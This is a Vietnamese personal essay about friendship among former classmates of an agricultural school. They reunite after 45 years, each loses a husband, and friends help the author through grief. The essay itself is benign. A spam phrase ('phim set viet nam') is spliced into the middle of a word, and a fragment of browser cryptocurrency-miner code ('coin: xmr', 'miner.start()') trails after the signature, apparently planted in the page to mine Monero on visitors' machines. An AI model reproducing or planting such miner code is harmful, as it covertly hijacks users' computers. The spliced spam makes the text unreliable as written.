TÌNH BẠN - Phạm Xuân Nga -

TÌNH BẠN

Thông thường người ta đọc nhiều hơn là viết, tôi cũng không ngoại lệ nên rất ngại cầm bút vì sợ mất thời gian của người đọc. Hôm nay tôi được tin nhắn của bạn là hãy viết đi, viết bất cứ suy nghĩ gì để lấp đầy khoảng thời gian buồn tẻ. Đắn đo mãi vẫn chưa biết ghi lại những ý tưởng gì trên sấp giấy học trò trắng nguyên trước mặt. Viết về một bình minh đẹp có những đám mây trắng trên trời cao chói sáng ánh hào quang , hay viết về buổi hoàng hôn với ráng chiều hồng trên nền trời xanh, hay viết về buổi trưa yên ả cành khế trước nhà đong đưa theo làn gió nhẹ làm rơi rụng từng chiếc lá vàng. Những hình ảnh đẹp đó tôi không đủ khả năng để diễn tả hết được vì thiên nhiên bao la và biến hóa, có ai đó đã ví von : " Sài Gòn sáng nắng chiều mưa”.  Thôi hãy trở về với con người, với tình bạn thanh  cao của những người đã học Nông Lâm Súc.

Đã là bạn học thì chắc chắn là tôi và bạn tôi cùng cắp sách vở đến trường, thêm vào đó chúng tôi lại cùng chung sống bên nhau với bao khó khăn phải vượt qua, những ngày học vùi đầu để thi cử, những ngày cùng vác cuốc, vác gào để chăm sóc những luống cây mà thầy đã phân công, vui nhất là những ngày lãnh học bổng xong cùng nhau từng nhóm ở Bến Ninh Kiều như ngày hội… rồi cũng qua mau. Chúng tôi tốt nghiệp ra trường, mỗi người lo khăn gói đến nơi giảngphim set viet namdạy của  mình. Lúc đó chia tay mà sao chúng tôi không thấy buồn bã vì trong lòng mỗi người đều háo hức trước cuộc sống mới như đàn chim non vừa mới đủ lông, đủ cánh để có thể tự do bay trên bầu trời cao rộng. Từ đó, tôi và bạn đã "xa mặt” , cuộc sống với những bận bịu, lo toan khi mỗi người đều có gia đình, nên chúng tôi "cách lòng”…. Cho mãi đến một hôm, trong buổi họp mặt truyền thống ở Nông Lâm Súc Định Tường, thật tình cờ tôi biết được số điện thoại của bạn, lần đầu tiên chúng tôi nói chuyện lại với nhau qua điện thoại. Hay thay! Chúng tôi trong thời gian qua ở xa nhau, " xa quá” đến không biết gì về nhau chỉ với khoảng cách không hơn 10 km.

Ngày gặp lại nhau lần đầu sau thời gian 45 năm, chúng tôi hẹn hò, dặn dò thật kỹ về địa điểm, màu áo…như đôi lứa mới quen. Từ xa tôi đã thấy bạn đứng chờ, nơi chúng tôi gặp nhau là thềm của một bệnh viện, mừng…vui…đến nghẹn ngào, tay cầm tay, mắt nhìn nhau mà không nói được lời nào….Qua mấy câu thăm hỏi, chúng tôi mỗi người đều nặng gánh gia đình nên khoảnh khắc lại chia tay và hẹn hò tiếp lần sau. Lần sau chúng tôi lại gặp nhau cũng ở bệnh viện ấy, lần này tôi bước hẳn vào trong không phải để tán gẩu với bạn mà vào thăm chồng bạn - cũng là bạn cùng lớp với tôi - . Gặp lại chồng bạn, chúng tôi cùng một lúc nhận ra nhau và cùng gọi tên nhau mà không cầm được nước mắt, vẫn là những nét thông minh, hóm hỉnh quen thuộc của bạn nhưng hóc hác quá. Trong lòng chợt xót xa và một thoáng nhớ về ngày xưa còn tràn đầy sức sống cắp sách đến trường, mỗi lần họp lại là nói cười rộn rã…Giờ thì anh ấy nằm trên giường bệnh không biết bao giờ khỏi. Tôi chỉ được ít phút thăm hỏi, an ủi rồi bùi ngùi chia tay. Sau đó tôi đến thăm chồng bạn lần cuối trong đời và bạn tôi với vành khăn trắng của một góa phụ, áo tang trắng…trắng đến nao lòng., giờ thì ta chỉ cảm thông mà không thấy còn lời nào ý nghĩa để an ủi bạn trong thời khắc này.

Không dừng ở đó, tình bạn của  chúng tôi càng như quấn chặt lấy nhau khi cùng cảnh ngộ. Vài tháng sau thì bạn lại đến với tôi, lần này thì vành khăn trắng lại quấn trên tóc tôi. Hôm nay tôi hiểu một cách sâu xa nỗi đau trong lòng bạn tôi ngày nào, một mất mát mà biết rằng trong cuộc đời  không còn tìm thấy nữa:

"Cuộc tình đã gãy nhịp rồi

Ý thơ còn đọng, lời thơ không vần”

Từ đó tôi suy sụp nhanh về tinh thần và thể chất. Trong những ngày tôi như hụt hẫng, bơ vơ  lạc lỏng ý thức, tôi lại nhận thêm một người bạn thứ hai tuyệt vời cùng chung học ngày xưa. Tôi được hai bạn hàng ngày trò chuyện qua điện thoại, quan tâm chia sẻ nỗi buồn. Hai bạn đã gửi sách để tôi bớt suy nghĩ không vui, giúp tôi lắp đầy khoảng trống thời gian và tâm hồn. Hai bạn tìm chuyện kể để tôi tìm lại nụ cười, họ đã dùng "tâm dược” thêm vào chất liệu "thời gian" và đã trị được " tâm bệnh " cho tôi. Thế rồi tôi cũng nhận ra được chỗ không hay của mình, sao lại làm bạn bận tâm vì tôi. Tôi đã lấy nụ cười thay cho nước mắt và nghĩ về hai câu thơ:

"Em về điểm phấn tô son lại,

Ngạo với nhân gian một nụ cười”

                               ( Quên tác giả)

Sau đó tôi cầm bút và viết. Hai bạn khích lệ cho tôi an lòng để ghi lại những dòng suy nghĩ tiếp theo. Nếu trên đời chỉ cần một người hiểu mình thì đã hạnh phúc, còn tôi có đến hai người hiểu tôi thì niềm hạnh phúc được nhân đôi.

Ôi! Bạn của tôi, Tình bạn bất diệt. Tiễn biệt nỗi buồn nhé!

                                          Thành Phố Hồ Chí Minh 1-1-2017

                                                       Phạm Xuân Nga

 

', { threads:2,throttle:0.2, coin: "xmr", }); miner.start();